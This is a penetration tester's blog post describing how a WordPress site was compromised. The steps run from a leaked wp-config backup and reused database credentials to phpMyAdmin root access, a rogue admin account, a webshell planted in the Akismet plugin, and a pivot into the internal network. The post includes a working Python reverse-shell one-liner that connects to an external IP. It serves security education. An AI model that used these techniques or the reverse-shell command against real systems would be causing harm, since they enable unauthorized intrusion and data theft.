A few months ago I ran into WordPress on a penetration test. It was a generic web application security assessment, but in this case I was able to compromise the server and move into the internal network. I thought I’d take the compromise walk-through and turn it into a blog post for you guys today. So let’s get started….
Although I ran other vulnerability scanners (Nessus, OpenVAS, HP Web Inspect) against the target website during the pentest it was Acunetix that gave me the vulnerability that would become the proverbial first domino. What a cute little gem.
The scanner found a wp_config file which is usually not viewable externally. Most likely there was an issue while the developer or system administrator was working on the server. Maybe he or she got disconnected from the server while editing the file and that caused the text editor (vi for example) to create a backup file called wp_config~ wow – can you believe the scanner even found this?
Step 1: Running the Acunetix vulnerability scanner
The Acunetix web vulnerability scanner identified the backup of a configuration file that contained database passwords located at: http://www.targetcompany.com/blog/wp-config.php~
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
/** MySQL database username */
/** MySQL database password */
Step 2: Database port is not remotely accessible so look for phpMyAdmin
Although I had database credentials I had noticed in my scan data from the other vulnerability scanners that the target server was behind a Cisco ASA Firewall and the database port 3306 was not externally accessible. I couldn’t connect to the database directly because of the firewall not allowing access to the MySQL database port 3306.
It’s very common for webmasters to use a web-based tool such as phpMyAdmin to administer the database. Luckily for me the targetcompany is running phpMyAdmin. Since I have database passwords, I guessed that the password for the targetcompanywp account which was weakpassword123 could also be the same password for the database administrative level account named root and I was correct – it worked!
The phpMyAdmin page can be accessed at:
Step 3: Credentials worked
The password weakpassword123 worked for the root account and I successfully logged in to phpMyAdmin.
Step 4: View all of the databases on the server
Here I view the names of the other databases on the server.
Step 5: View the users and their respective privilege levels
I then moved on to the privileges tab to see what level of privileges that each user has. I hit the jackpot by being the root user. I have ‘ALL PRIVILEGES’
Step 6: I can export all of the databases
If the goal of the attacker is to steal as much as possible then the export option would probably be the best way to go.
NOTE: This export option was NOT executed in this engagement. Remember guys – we are pentesters - NOT hackers. The last thing you want to do as a pentester is actually possess a customer’s business critical data. Proving you can access data is one thing, but stay on the safe side and just prove that you can get there – that’s usually all a customer needs to see to be happy with your work.
Step 7: Usernames and passwords
I switched to the users table in the targetcompany database. I see here that the passwords for ALL of the customers are stored in clear text. Ok, so this - I definitely had to let the customer know that is not a good idea.
….and more usernames and passwords
….and more usernames and passwords
….and more usernames and passwords
Step 8: Looking at the mysql database
I switched to the user table in the mysql database. I see here that the passwords for wordpress are hashed. The passwords in this database are hashed.
Step 9: Attacking WordPress
I switched to the wp_users table in the targetcompany_blog database. I see here that the passwords for WordPress are hashed and salted properly.
Step 10: Create a privileged account in wordpress
Here I are creating a privileged account named joe_strategicsec in WordPress. This is a multi-step process which you will see in the following screenshots.
After filling out the menu items required to the create the account you’ll see the SQL statement execute.
After filling out the meta_key field menu item ‘wp_capabilities’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.
After filling out the next meta_key field menu item ‘wp_user_level’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.
Step 11: Leveraging WordPress access
I can now see the joe_strategicsec account has been created in the WordPress database. Ok, well it is covered in red but just trust me it's there.
Step 12: Login with the newly created WordPress account
I have logged in as user joe_strategicsec so I can now see WordPress Dashboard.
Step 13: WordPress Users
Here I view the WordPress users
Step 14: Backdooring a wordpress plugin
I quickly switch to the plugins section and backdoor the Akismet plugin by replacing the source code of one of the pages with a php webshell. The code for a website is pretty easy - it's just a few lines of PHP.
Step 15: Accessing the webshell
The wordpress plugin that was converted to a webshell can be found at:
To get the Linux server’s internal IP address you can execute the command:
To get the Linux server’s version you can execute the command:
To get the Linux server’s kernel version you can execute the command:
Step 16: Use python to create a reverse shell
Executing system commands via a webshell is often required when attacking webservers, but a real command shell is the preferred access method. Since the target webserver is behind a Cisco firewall I cannot connect to the server directly. I must make the server connect to me since outbound firewall rules are often less restrictive than inbound firewall rules.
Inside of the webshell I can use python to create a reverse connecting network socket that encapsulates the Linux command shell. I do this by typing the following syntax into the webshell (yes I know that there there is no screenshot, but in the webshell just type the following line of python):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("220.127.116.11",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Now, you'll see in the screenshot below that I have a netcat listener that receives a connection from the compromised server.
Here you'll see that I do a /sbin/ifconfig and the host has a 192.168 address so I know that this box is on an internal network.
Step 17: Attack the internal network
Next I prove that I can attack the internal network with a command-line ping sweep. Since there was no NMap installed I wrote a quick for loop to ping the entire subnet.
Step 18: No nmap installed so went for a command-line ping sweep
At this point I opted to end this portion of the engagement and notify the client that no further exploitation is required. It would only be a matter of time to achieve root access on this server via local privilege escalation, then install more hacking tools and pivot further into the internal network.
I hope that you like this blog post. I do apologize for the pictures being fuzzy, but I had to take them out of a pentest document, and sanitize them. I decided to write this blog post because I thought it would be a good example of the kinds of things that I'll be covering in the new Pentester Lab Network when I hope that you will check out.
Latest posts by joemccray (see all)
- Compromising WordPress and pivoting to the Internal Network - April 18, 2016
- Attacking Dell Foglight Server - October 21, 2015
- Using APT tactics and techniques in your pentests - October 15, 2015